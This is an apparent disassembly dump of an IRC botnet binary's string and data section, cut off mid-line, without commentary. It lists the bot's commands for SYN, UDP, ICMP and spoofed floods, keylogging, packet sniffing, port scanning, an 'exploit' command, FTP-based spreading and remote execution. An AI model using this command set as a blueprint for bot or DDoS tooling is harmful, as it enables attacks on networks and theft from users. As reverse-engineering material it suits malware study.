dword_42CCA8 dd 2E707466h, 657865hdword_42CCB0 dd 253A732Dh, 73haOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: sub_401AA1+57D9o
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db 'put %s',0Dh,0Ah
db 'bye',0Dh,0Ah,0
align 4
aAb db 'ab',0 ; DATA XREF: sub_401AA1+57B5o
align 10h
aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: sub_401AA1+57A4o
align 10h
dword_42CCF0 dd 35310302h, 25B302Ch, 91313003h, 1F343003h, 1F024602h
; DATA XREF: sub_401AA1+574Bo
dd 2700254h, 2C313003h, 3A353103h, 2203103h, 6C690246h
dd 24E2065h, 2074026Fh, 6F024602h, 3A646E75h, 25203403h
dd 2E73h
aUpload db 'upload',0 ; DATA XREF: sub_401AA1+5728o
align 4
dword_42CD38 dd 35310302h, 25B302Ch, 91343003h, 2313003h, 61630253h
; DATA XREF: sub_401AA1+56F2o
dd 3026E02h, 32C3430h, 33A3431h, 41022034h, 65726C02h
dd 3796461h, 64252031h, 2340320h, 61630253h, 6E696E6Eh
dd 54022067h, 65726802h, 2E736461h, 6F025420h, 2206F02h
dd 6E61024Dh, 53022079h, 63657002h, 65696669h, 2E64h
unk_42CD9C db 2Dh ; - ; DATA XREF: sub_401AA1+56A8o
db 3, 34h, 2
db 75h ; u
db 64h, 70h, 2
db 3
aFailedToStar_6 db '- Failed to start flood thread, error: <%d>.',0
align 8
unk_42CDD8 db 2Dh ; - ; DATA XREF: sub_401AA1+564Fo
db 3, 34h, 2
db 75h ; u
db 64h, 70h, 2
db 3
aSendingDPacket db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
align 10h
unk_42CE20 db 2Dh ; - ; DATA XREF: sub_401AA1+55A1o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 73h
db 65h ; e
db 6Eh, 64h, 2
db 3
aMessageHasBeen db '- Message has been sent successfuly',0
align 4
unk_42CE54 db 2Dh ; - ; DATA XREF: sub_401AA1+556Do
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 73h
db 65h ; e
db 6Eh, 64h, 2
db 3
aFailedToSendMe db '- Failed to send message, error <%i>.',0
align 4
unk_42CE88 db 2Dh ; - ; DATA XREF: sub_401AA1+5549o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 73h
db 65h ; e
db 6Eh, 64h, 2
db 3
aNetsendDoesNot db '- NetSend does not work on Win9x systems',0
align 10h
unk_42CEC0 db 2Dh ; - ; DATA XREF: sub_401AA1+54A7o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 73h
db 65h ; e
db 6Eh, 64h, 2
db 3
aSendingMessage db '- Sending message %s times to %s using name %s',0
aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: sub_401AA1+548Ao
align 4
unk_42CF14 db 2Dh ; - ; DATA XREF: sub_401AA1+5460o
db 3, 34h, 2
db 70h ; p
db 69h, 6Eh, 67h
db 2
db 3, 2Dh, 20h
aFailedToStar_7 db 'Failed to start flood thread, error: <%d>.',0
align 10h
unk_42CF50 db 2Dh ; - ; DATA XREF: sub_401AA1+5407o
db 3, 34h, 2
db 70h ; p
db 69h, 6Eh, 67h
db 2
db 3, 2Dh, 20h
aSendingDPingsT db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
align 4
unk_42CF98 db 2Dh ; - ; DATA XREF: sub_401AA1:loc_406DD8o
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aInvalidFlood_0 db '- Invalid flood time must be greater than 0.',0
align 10h
unk_42CFD0 db 2Dh ; - ; DATA XREF: sub_401AA1+531Bo
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aFailedToStar_8 db '- Failed to start flood thread, error: <%d>.',0
align 4
unk_42D008 db 2Dh ; - ; DATA XREF: sub_401AA1+52B7o
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aSSFloodingSSFo db '- %s %s flooding: (%s:%s) for %s seconds.',0
align 4
aNormal db 'Normal',0 ; DATA XREF: sub_401AA1+52A7o
align 4
aSpoofed db 'Spoofed',0 ; DATA XREF: sub_401AA1+52A0o
unk_42D04C db 2Dh ; - ; DATA XREF: sub_401AA1+520Bo
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aInvalidFloodTy db '- Invalid flood type specified.',0
align 4
aRandom_0 db 'random',0 ; DATA XREF: sub_401AA1+51FBo
; sub_414BED+2FDo
align 10h
aAck db 'ack',0 ; DATA XREF: sub_401AA1+51E4o
; sub_414BED+2DDo
aHcon db 'hcon',0 ; DATA XREF: sub_401AA1+5170o
align 4
aHttpcon db 'httpcon',0 ; DATA XREF: sub_401AA1+515Do
unk_42D094 db 2Dh ; - ; DATA XREF: sub_401AA1+510Eo
db 3, 34h, 2
db 65h ; e
db 6Dh, 61h, 69h
db 6Ch ; l
db 2, 3, 2Dh
aMessageSentToS db ' Message sent to %s.',0
align 4
aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: sub_401AA1+509Ao
db 'mail from: <%s>',0Ah
db 'rcpt to: <%s>',0Ah
db 'data',0Ah
db 'subject: %s',0Ah
db 'from: %s',0Ah
db '%s',0Ah
db '.',0Ah,0
aEmail db 'email',0 ; DATA XREF: sub_401AA1+4FAFo
align 4
aTcp db 'tcp',0 ; DATA XREF: sub_401AA1+4F98o
aTcpflood db 'tcpflood',0 ; DATA XREF: sub_401AA1+4F81o
align 4
aP: ; DATA XREF: sub_401AA1+4F6Ao
; .XPack0:0043AC18o ...
unicode 0, <p>,0
aPing_0 db 'ping',0 ; DATA XREF: sub_401AA1+4F53o
align 4
aPingflood db 'pingflood',0 ; DATA XREF: sub_401AA1+4F3Co
align 4
aNs db 'ns',0 ; DATA XREF: sub_401AA1+4F25o
align 4
aNetsend db 'netsend',0 ; DATA XREF: sub_401AA1+4F0Eo
aU: ; DATA XREF: sub_401AA1+4EF7o
; .XPack0:0043AC10o ...
unicode 0, <u>,0
aUdp db 'udp',0 ; DATA XREF: sub_401AA1+4EE0o
aUdpflood db 'udpflood',0 ; DATA XREF: sub_401AA1+4EC9o
align 4
aAdvscan db 'advscan',0 ; DATA XREF: sub_401AA1+4EB2o
aAsc db 'asc',0 ; DATA XREF: sub_401AA1+4E9Bo
aPsc db 'psc',0 ; DATA XREF: sub_401AA1+4E84o
aPortscan db 'portscan',0 ; DATA XREF: sub_401AA1+4E6Do
align 10h
aC_a db 'c_a',0 ; DATA XREF: sub_401AA1+4E47o
aC_action db 'c_action',0 ; DATA XREF: sub_401AA1+4E30o
align 10h
aC_pm db 'c_pm',0 ; DATA XREF: sub_401AA1+4E19o
align 4
aC_privmsg db 'c_privmsg',0 ; DATA XREF: sub_401AA1+4E02o
align 4
aSc db 'sc',0 ; DATA XREF: sub_401AA1+4DEBo
align 4
aScan db 'scan',0 ; DATA XREF: sub_401AA1+4DD4o
align 10h
aRd db 'rd',0 ; DATA XREF: sub_401AA1+4DBDo
align 4
aRedirect db 'redirect',0 ; DATA XREF: sub_401AA1+4DA6o
align 10h
aG3t db 'g3t',0 ; DATA XREF: sub_401AA1+4D8Fo
aDdrs db 'ddrs',0 ; DATA XREF: sub_401AA1+4D78o
align 4
aWonk db 'wonk',0 ; DATA XREF: sub_401AA1+4D61o
align 4
aPhatwonk db 'phatwonk',0 ; DATA XREF: sub_401AA1+4D4Ao
align 10h
dword_42D1D0 dd 234032Dh, 73796B73h, 3026E79haFailedToStar_9 db '- Failed to start flood thread, error: <%d>.',0
align 4
dword_42D20C dd 234032Dh, 73796B73h, 3026E79haFloodingSSFo_1 db '- Flooding: (%s:%s) for %s seconds.',0
aSkysyn db 'skysyn',0 ; DATA XREF: sub_401AA1+4C4Co
align 4
aSyn db 'syn',0 ; DATA XREF: sub_401AA1+4C35o
; sub_401AA1+51CCo ...
aSynflood db 'synflood',0 ; DATA XREF: sub_401AA1+4C1Eo
align 4
unk_42D254 db 2Dh ; - ; DATA XREF: sub_401AA1+4BFCo
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aFailedToSta_10 db '- Failed to start flood thread, error: <%d>.',0
align 4
aWisdom_udp db 'wisdom.udp',0 ; DATA XREF: sub_401AA1+4B3Bo
align 10h
aDdos_random db 'ddos.random',0 ; DATA XREF: sub_401AA1+4B24o
; sub_4138D3:loc_4139FFo
aDdos_ack db 'ddos.ack',0 ; DATA XREF: sub_401AA1+4B0Do
; sub_4138D3:loc_4139E3o
align 4
aDdos_syn db 'ddos.syn',0 ; DATA XREF: sub_401AA1+4AF6o
; sub_4138D3+F1o
align 4
aC: ; DATA XREF: sub_401AA1+4ADFo
; .XPack0:0043AC48o ...
unicode 0, <c>,0
aClone_0 db 'clone',0 ; DATA XREF: sub_401AA1+4AC8o
align 10h
aIcmp db 'icmp',0 ; DATA XREF: sub_401AA1+4A9Fo
align 4
aIcmpflood db 'icmpflood',0 ; DATA XREF: sub_401AA1+4A88o
align 4
aMv db 'mv',0 ; DATA XREF: sub_401AA1+4A71o
align 4
aRename db 'rename',0 ; DATA XREF: sub_401AA1+4A5Ao
align 10h
aFf db 'ff',0 ; DATA XREF: sub_401AA1+4A43o
align 4
aFindfile db 'findfile',0 ; DATA XREF: sub_401AA1+4A2Co
align 10h
aE: ; DATA XREF: sub_401AA1+4A15o
; .XPack0:0043AC00o ...
unicode 0, <e>,0
aExecute db 'execute',0 ; DATA XREF: sub_401AA1+49FEo
aUpd4t3z db 'upd4t3z',0 ; DATA XREF: sub_401AA1+49E7o
aStyle db 'style',0 ; DATA XREF: sub_401AA1+49D0o
align 4
aDe db 'de',0 ; DATA XREF: sub_401AA1+49B9o
align 10h
aDelay db 'delay',0 ; DATA XREF: sub_401AA1+49A2o
align 4
aRp db 'rp',0 ; DATA XREF: sub_401AA1+498Bo
align 4
aRepeat db 'repeat',0 ; DATA XREF: sub_401AA1+4974o
; sub_401AA1+6AA7o
align 4
aTsn db 'tsn',0 ; DATA XREF: sub_401AA1+495Do
aTsunami db 'tsunami',0 ; DATA XREF: sub_401AA1+4946o
aT3 db 't3',0 ; DATA XREF: sub_401AA1+492Fo
align 4
aTarga3 db 'targa3',0 ; DATA XREF: sub_401AA1+4918o
align 4
aC_p db 'c_p',0 ; DATA XREF: sub_401AA1+4901o
aC_part db 'c_part',0 ; DATA XREF: sub_401AA1+48EAo
align 4
aC_j db 'c_j',0 ; DATA XREF: sub_401AA1+48D3o
aC_join db 'c_join',0 ; DATA XREF: sub_401AA1+48BCo
align 4
aC_n db 'c_n',0 ; DATA XREF: sub_401AA1+48A5o
aC_nick db 'c_nick',0 ; DATA XREF: sub_401AA1+488Eo
align 10h
aC_m db 'c_m',0 ; DATA XREF: sub_401AA1+4877o
aC_mode db 'c_mode',0 ; DATA XREF: sub_401AA1+4860o
align 4
aC_r db 'c_r',0 ; DATA XREF: sub_401AA1+4849o
aC_raw db 'c_raw',0 ; DATA XREF: sub_401AA1+4832o
align 4
aM: ; DATA XREF: sub_401AA1+481Bo
; .XPack0:0043AC58o ...
unicode 0, <m>,0
aCy db 'cy',0 ; DATA XREF: sub_401AA1+47EDo
align 10h
aCycle db 'cycle',0 ; DATA XREF: sub_401AA1+47D6o
align 4
aA: ; DATA XREF: sub_401AA1+47BFo
; .XPack0:0043AC1Co
unicode 0, <a>,0
aAction db 'action',0 ; DATA XREF: sub_401AA1+47A8o
align 4
aPrivmsg_0 db 'privmsg',0 ; DATA XREF: sub_401AA1+477Ao
aAa db 'aa',0 ; DATA XREF: sub_401AA1+4763o
align 10h
aAddalias db 'addalias',0 ; DATA XREF: sub_401AA1+474Co
align 4
aKl db 'kl',0 ; DATA XREF: sub_401AA1+4735o
align 10h
aKilllog db 'killlog',0 ; DATA XREF: sub_401AA1+471Eo
aGh db 'gh',0 ; DATA XREF: sub_401AA1+46F5o
align 4
aGethost db 'gethost',0 ; DATA XREF: sub_401AA1+46DEo
unk_42D3D4 db 2Dh ; - ; DATA XREF: sub_401AA1:loc_406164o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aCommandUnknown db '- Command unknown.',0
unk_42D3F0 db 2Dh ; - ; DATA XREF: sub_401AA1:loc_40615Do
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aNoMessageSpeci db '- No message specified.',0
align 4
aSend db 'send',0 ; DATA XREF: sub_401AA1+4679o
; sub_4097DE+5F0o
align 4
unk_42D41C db 2Dh ; - ; DATA XREF: sub_401AA1:loc_406112o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserListFailed db '- User list failed.',0
align 4
unk_42D43C db 2Dh ; - ; DATA XREF: sub_401AA1+466Ao
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserListComple db '- User list completed.',0
unk_42D45C db 2Dh ; - ; DATA XREF: sub_401AA1:loc_406079o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aShareListFaile db '- Share list failed.',0
align 4
unk_42D47C db 2Dh ; - ; DATA XREF: sub_401AA1+45CEo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aShareListCompl db '- Share list completed.',0
align 10h
aShare db 'share',0 ; DATA XREF: sub_401AA1+4560o
align 4
aContinue db 'continue',0 ; DATA XREF: sub_401AA1+452Ao
align 4
aPause db 'pause',0 ; DATA XREF: sub_401AA1+450Fo
align 4
aStop db 'stop',0 ; DATA XREF: sub_401AA1+44F7o
align 4
unk_42D4C4 db 2Dh ; - ; DATA XREF: sub_401AA1:loc_405F8Do
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aServiceListFai db '- Service list failed.',0
unk_42D4E4 db 2Dh ; - ; DATA XREF: sub_401AA1+44E2o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aServiceListCom db '- Service list completed.',0
align 4
aStart db 'start',0 ; DATA XREF: sub_401AA1+448Bo
align 10h
unk_42D510 db 2Dh ; - ; DATA XREF: sub_401AA1+4458o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aFailedToLoadAd db '- Failed to load advapi32.dll or netapi32.dll.',0
aNet db 'net',0 ; DATA XREF: sub_401AA1+4434o
aKstop db 'kstop',0 ; DATA XREF: sub_401AA1+441Do
align 4
aKeystop db 'keystop',0 ; DATA XREF: sub_401AA1+4406o
aKeylog db 'keylog',0 ; DATA XREF: sub_401AA1+43EFo
align 4
aKeyloger db 'keyloger',0 ; DATA XREF: sub_401AA1+43D8o
align 10h
unk_42D570 db 2 ; DATA XREF: sub_401AA1:loc_405E6Co
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 31h, 91h
db 3
db 30h, 34h, 2
db 69h ; i
db 2, 64h, 2
db 65h ; e
db 2, 6Eh, 2
db 74h ; t
db 2, 64h, 2
db 2
db 3, 30h, 31h
db 2Ch ; ,
db 3, 31h, 34h
db 3Ah ; :
db 3, 31h, 20h
aNoThreadFound_ db 'No thread found.',0
align 10h
unk_42D5B0 db 2 ; DATA XREF: sub_401AA1+43C1o
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 31h, 91h
db 3
db 30h, 34h, 2
db 69h ; i
db 2, 64h, 2
db 65h ; e
db 2, 6Eh, 2
db 74h ; t
db 2, 64h, 2
db 2
db 3, 30h, 31h
db 2Ch ; ,
db 3, 31h, 34h
db 3Ah ; :
db 3, 31h, 20h
aServerStopped_ db 'Server stopped. (%d thread(s) stopped.)',0
unk_42D600 db 2 ; DATA XREF: sub_401AA1+4393o
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 31h, 91h
db 3
db 30h, 34h, 2
db 69h ; i
db 2, 64h, 2
db 65h ; e
db 2, 6Eh, 2
db 74h ; t
db 2, 64h, 2
db 2
db 3, 30h, 31h
db 2Ch ; ,
db 3, 31h, 34h
db 3Ah ; :
db 3, 31h, 20h
aFailedToSta_11 db 'Failed to start server, error: <%d>.',0
align 10h
unk_42D650 db 2 ; DATA XREF: sub_401AA1:loc_405DE7o
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 31h, 91h
db 3
db 30h, 34h, 2
db 69h ; i
db 2, 64h, 2
db 65h ; e
db 2, 6Eh, 2
db 74h ; t
db 2, 64h, 2
db 2
db 3, 30h, 31h
db 2Ch ; ,
db 3, 31h, 34h
db 3Ah ; :
db 3, 31h, 20h
aServerRunnin_0 db 'Server running on Port: 113.',0
align 4
dword_42D698 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 2640269h
; DATA XREF: sub_401AA1+433Co
dd 26E0265h, 2640274h, 31300302h, 3431032Ch, 2031033Ah
dd 6C024102h, 64616572h, 72022079h, 6E6E7502h, 2E676E69h
dd 0
aIdent db 'ident',0 ; DATA XREF: sub_401AA1+4305o
align 10h
unk_42D6E0 db 2Dh ; - ; DATA XREF: sub_401AA1:loc_405D99o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aNoSnifferThrea db '- No sniffer thread found.',0
unk_42D708 db 2Dh ; - ; DATA XREF: sub_401AA1+42EEo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aSnifferStopped db '- sniffer stopped. (%d thread(s) stopped.)',0
unk_42D740 db 2Dh ; - ; DATA XREF: sub_401AA1+42ABo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aFailedToSta_12 db '- Failed to start sniffer thread, error: <%d>.',0
unk_42D77C db 2Dh ; - ; DATA XREF: sub_401AA1+4252o
db 3, 34h, 2
db 53h ; S
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aPacketSnifferA db '- packet sniffer active.',0
align 4
unk_42D7A4 db 2Dh ; - ; DATA XREF: sub_401AA1+41EEo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aAlreadyRunning db '- Already running.',0
aSniffer db 'sniffer',0 ; DATA XREF: sub_401AA1+41B9o
dword_42D7CC dd 234032Dh, 696E7370h, 3026666haNoCarnivoreThr db '- No Carnivore thread found.',0
align 4
dword_42D7F8 dd 234032Dh, 696E7370h, 3026666haCarnivoreStopp db '- Carnivore stopped. (%d thread(s) stopped.)',0
align 4
dword_42D834 dd 234032Dh, 696E7370h, 3026666haFailedToSta_13 db '- Failed to start sniffer thread, error: <%d>.',0
align 10h
dword_42D870 dd 234032Dh, 696E7370h, 3026666haCarnivorePacke db '- Carnivore packet sniffer active.',0
align 10h
dword_42D8A0 dd 234032Dh, 696E7370h, 3026666haAlreadyRunni_0 db '- Already running.',0
align 10h
aOn db 'on',0 ; DATA XREF: sub_401AA1+4082o
; sub_401AA1+41CEo ...
align 4
aPsniff db 'psniff',0 ; DATA XREF: sub_401AA1+406Do
align 4
aRf db 'rf',0 ; DATA XREF: sub_401AA1+4056o
align 10h
aReadfile db 'readfile',0 ; DATA XREF: sub_401AA1+403Fo
align 4
aCm db 'cm',0 ; DATA XREF: sub_401AA1+4028o
align 10h
aCmd db 'cmd',0 ; DATA XREF: sub_401AA1+4011o
aMirc db 'mirc',0 ; DATA XREF: sub_401AA1+3FFAo
align 4
aMirccmd db 'mirccmd',0 ; DATA XREF: sub_401AA1+3FE3o
aV: ; DATA XREF: sub_401AA1+3FCCo
; .XPack0:0043AC4Co ...
unicode 0, <v>,0
aVisit db 'visit',0 ; DATA XREF: sub_401AA1+3FB5o
align 10h
aLi db 'li',0 ; DATA XREF: sub_401AA1+3F9Eo
align 4
aList db 'list',0 ; DATA XREF: sub_401AA1+3F87o
align 4
aGt db 'gt',0 ; DATA XREF: sub_401AA1+3F70o
align 10h
aDel db 'del',0 ; DATA XREF: sub_401AA1+3F42o
aDelete db 'delete',0 ; DATA XREF: sub_401AA1+3F2Bo
; sub_401AA1+4545o
align 4
aKi db 'ki',0 ; DATA XREF: sub_401AA1+3F14o
align 10h
aKill db 'kill',0 ; DATA XREF: sub_401AA1+3EFDo
align 4
aKp db 'kp',0 ; DATA XREF: sub_401AA1+3EE6o
align 4
aKillproc db 'killproc',0 ; DATA XREF: sub_401AA1+3ECFo
align 4
aDn db 'dn',0 ; DATA XREF: sub_401AA1+3EB8o
align 4
aDns db 'dns',0 ; DATA XREF: sub_401AA1+3EA1o
aSe db 'se',0 ; DATA XREF: sub_401AA1+3E8Ao
align 4
aO: ; DATA XREF: sub_401AA1+3E5Co
; .XPack0:0043AF7Co
unicode 0, <o>,0
aOpen db 'open',0 ; DATA XREF: sub_401AA1+3E45o
; sub_401AA1+5815o ...
align 10h
aPr db 'pr',0 ; DATA XREF: sub_401AA1+3E2Eo
align 4
aPrefix db 'prefix',0 ; DATA XREF: sub_401AA1+3E17o
align 4
aC_rn db 'c_rn',0 ; DATA XREF: sub_401AA1+3E00o
align 4
aC_rndnick db 'c_rndnick',0 ; DATA XREF: sub_401AA1+3DE9o
align 10h
aC_q db 'c_q',0 ; DATA XREF: sub_401AA1+3DD2o
aC_quit db 'c_quit',0 ; DATA XREF: sub_401AA1+3DBBo
align 4
aKillthread db 'killthread',0 ; DATA XREF: sub_401AA1+3D8Do
align 4
aRaw db 'raw',0 ; DATA XREF: sub_401AA1+3D5Fo
aPt db 'pt',0 ; DATA XREF: sub_401AA1+3D48o
align 10h
aJ: ; DATA XREF: sub_401AA1+3D1Ao
; .XPack0:0043AC34o ...
unicode 0, <j>,0
aN: ; DATA XREF: sub_401AA1+3CECo
; .XPack0:0043AC54o ...
unicode 0, <n>,0
unk_42D998 db 2Dh ; - ; DATA XREF: sub_401AA1+3CB7o
db 3, 34h, 2
db 69h ; i
db 72h, 63h, 66h
db 75h ; u
db 63h, 6Bh, 2
db 3
aDisconnectingC db '- disconnecting clones...',0
align 10h
aNickservRegist db 'nickserv register %s %s',0 ; DATA XREF: sub_401AA1+3C4Eo
aRegister db 'register',0 ; DATA XREF: sub_401AA1+3C25o
align 4
aPrivmsgSS_0 db 'PRIVMSG %s :%s',0 ; DATA XREF: sub_401AA1+3BCAo
align 4
aMix db 'mix',0 ; DATA XREF: sub_401AA1+3AF8o
dword_42D9F8 dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h
; DATA XREF: sub_401AA1+3AA2o
; sub_401AA1+3ADDo
dd 0
dword_42DA10 dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h
; DATA XREF: sub_401AA1+3A67o
dd 1
dword_42DA28 dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h
; DATA XREF: sub_401AA1+3A2Co
; sub_401AA1+3B4Ao
aCtcp db 'ctcp',0 ; DATA XREF: sub_401AA1+39DAo
align 4
aNoticeSS_0 db 'NOTICE %s :%s',0 ; DATA XREF: sub_401AA1+393Fo
; sub_401AA1+397Fo ...
align 4
aNotice_0 db 'notice',0 ; DATA XREF: sub_401AA1+38E8o
align 4
aMsg db 'msg',0 ; DATA XREF: sub_401AA1+37F6o
aChgnick db 'chgnick',0 ; DATA XREF: sub_401AA1+37B2o
aNick_0 db 'nick',0 ; DATA XREF: sub_401AA1+36AFo
; sub_401AA1+3CD5o
align 10h
dword_42DA70 dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h
; DATA XREF: sub_401AA1+3694o
dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1
dword_42DA98 dd 636364h dword_42DA9C dd 6E696F6Ah, 7261702Fh, 74hdword_42DAA8 dd 4B43494Eh, 732520h ; sub_401AA1+3709o ...
dword_42DAB0 dd 69257325h, 0 ; sub_40A97E+4Eo ...
aPnick db 'pnick',0 ; DATA XREF: sub_401AA1+3453o
align 10h
aPartSS db 'part %s %s',0 ; DATA XREF: sub_401AA1+3438o
; sub_401AA1+351Do ...
align 4
aPartflood db 'partflood',0 ; DATA XREF: sub_401AA1+3411o
align 4
aPartS db 'part %s',0 ; DATA XREF: sub_401AA1+33F6o
aPart_0 db 'part',0 ; DATA XREF: sub_401AA1+33D4o
; sub_401AA1+3D31o
align 4
aJoinS db 'join %s',0 ; DATA XREF: sub_401AA1+33B9o
; sub_401AA1+34F4o ...
aJoin db 'join',0 ; DATA XREF: sub_401AA1+3397o
; sub_401AA1+3D03o
align 4
aModeSS db 'mode %s %s',0 ; DATA XREF: sub_401AA1+337Co
align 4
aMode db 'mode',0 ; DATA XREF: sub_401AA1+3330o
; sub_401AA1+4804o
align 4
aNoticeSS_1 db 'notice %s :%s',0 ; DATA XREF: sub_401AA1+3315o
align 4
aNt db 'nt',0 ; DATA XREF: sub_401AA1+32C9o
align 10h
dword_42DB20 dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0
; DATA XREF: sub_401AA1+32AEo
dword_42DB34 dd 7463h dword_42DB38 dd 76697270h, 2067736Dh, 3A207325h, 7325h ; sub_401AA1+384Do ...
dword_42DB48 dd 5Fh ; sub_401AA1+3282o ...
dword_42DB4C dd 6D70h ; sub_401AA1+4791o
unk_42DB50 db 2Dh ; - ; DATA XREF: sub_401AA1+31CBo
db 3, 34h, 2
db 69h ; i
db 72h, 63h, 20h
db 46h ; F
db 6Ch, 2 dup(6Fh)
db 64h ; d
db 2, 3, 2Dh
aSClonesLoadedT db ' %s clones loaded to %s:%s',0
align 4
aLoad db 'load',0 ; DATA XREF: sub_401AA1+3177o
align 4
aFlood db 'flood',0 ; DATA XREF: sub_401AA1+3156o
align 4
aRinms db 'rinms',0 ; DATA XREF: sub_401AA1+313Fo
align 4
aReconnect_in_m db 'reconnect.in.ms',0 ; DATA XREF: sub_401AA1+3128o
aRin db 'rin',0 ; DATA XREF: sub_401AA1+3111o
aReconnect_in db 'reconnect.in',0 ; DATA XREF: sub_401AA1+30FAo
align 4
dword_42DBB8 dd 35310302h, 25B302Ch, 91343003h, 1F313003h, 21F4502h
; DATA XREF: sub_401AA1+30D8o
dd 2700278h, 26F026Ch, 2740269h, 2C343003h, 3A353103h
dd 2203403h, 2610246h, 26C0269h, 20640265h, 6F025402h
dd 2530220h, 72026174h, 2207402h, 70780245h, 6F026C02h
dd 2740269h, 2207265h, 2680254h, 2650272h, 2C640261h, 2450220h
dd 2720272h, 272026Fh, 2031033Ah, 3E64253Ch, 2Eh, 0
dword_42DC38 dd 35310302h, 25B302Ch, 91313003h, 1F343003h, 21F4502h
; DATA XREF: sub_401AA1+307Co
dd 2700278h, 26F026Ch, 2740269h, 2C313003h, 3A353103h
dd 2203103h, 74740241h, 6D026502h, 2740270h, 20676E69h
dd 6F025402h, 2430220h, 70026D6Fh, 26F7202h, 7369026Dh
dd 20340365h, 2E2E7325h, 2Eh
aExploit db 'exploit',0 ; DATA XREF: sub_401AA1+2FFEo
unk_42DC9C db 2Dh ; - ; DATA XREF: sub_401AA1+2FDEo
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 73h
db 70h ; p
db 2 dup(6Fh), 66h
db 29h ; )
db 2, 3, 2Dh
aSpoofIpSetToS_ db ' Spoof IP set to ',27h,'%s',27h,'.',0
align 4
unk_42DCC8 db 2Dh ; - ; DATA XREF: sub_401AA1+2FB4o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 73h
db 70h ; p
db 2 dup(6Fh), 66h
db 29h ; )
db 2, 3, 2Dh
aSIsAnInvalidIp db ' ',27h,'%s',27h,' is an invalid IP address.',0
aD_D_D_ db '%d.%d.%d.*',0 ; DATA XREF: sub_401AA1+2F7Co
align 4
unk_42DD08 db 2Dh ; - ; DATA XREF: sub_401AA1+2F23o
; sub_401AA1+2F94o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 73h
db 70h ; p
db 2 dup(6Fh), 66h
db 29h ; )
db 2, 3, 2Dh
aSpoofingCurren db ' Spoofing currently set to ',27h,'%s',27h,'.',0
align 10h
aGet db 'get',0 ; DATA XREF: sub_401AA1:loc_4049A2o
; sub_401AA1+3F59o
align 8
dword_42DD48 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 611F024Dh
; DATA XREF: sub_401AA1+2EC2o
dd 269021Fh, 302026Eh, 32C3130h, 33A3431h, 55022031h, 72657302h
dd 25203403h, 31032073h, 26F026Ch, 65026767h, 6F206402h
dd 74027502h, 2Eh
dword_42DD90 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 611F024Dh
; DATA XREF: sub_401AA1+2E83o
dd 269021Fh, 302026Eh, 32C3130h, 33A3431h, 6E492031h, 61027602h
dd 2064696Ch, 26F026Ch, 6E026967h, 53022002h, 746F6C02h
dd 24E0220h, 65626D75h, 34033A72h, 2E642520h, 2 dup(0)
dword_42DDE8 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 611F024Dh
; DATA XREF: sub_401AA1+2E7Bo
dd 269021Fh, 302026Eh, 32C3130h, 33A3431h, 4E022031h, 2206F02h
dd 65730255h, 31032072h, 6F026C02h, 65026767h, 69206402h
dd 7461206Eh, 2530220h, 3A746F6Ch, 25203403h, 2E64h
dword_42DE3C dd 35310302h, 25B302Ch, 91313003h, 2343003h, 611F024Dh
; DATA XREF: sub_401AA1+2E2Do
dd 269021Fh, 302026Eh, 32C3130h, 33A3431h, 73252031h, 0
dword_42DE68 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 611F024Dh
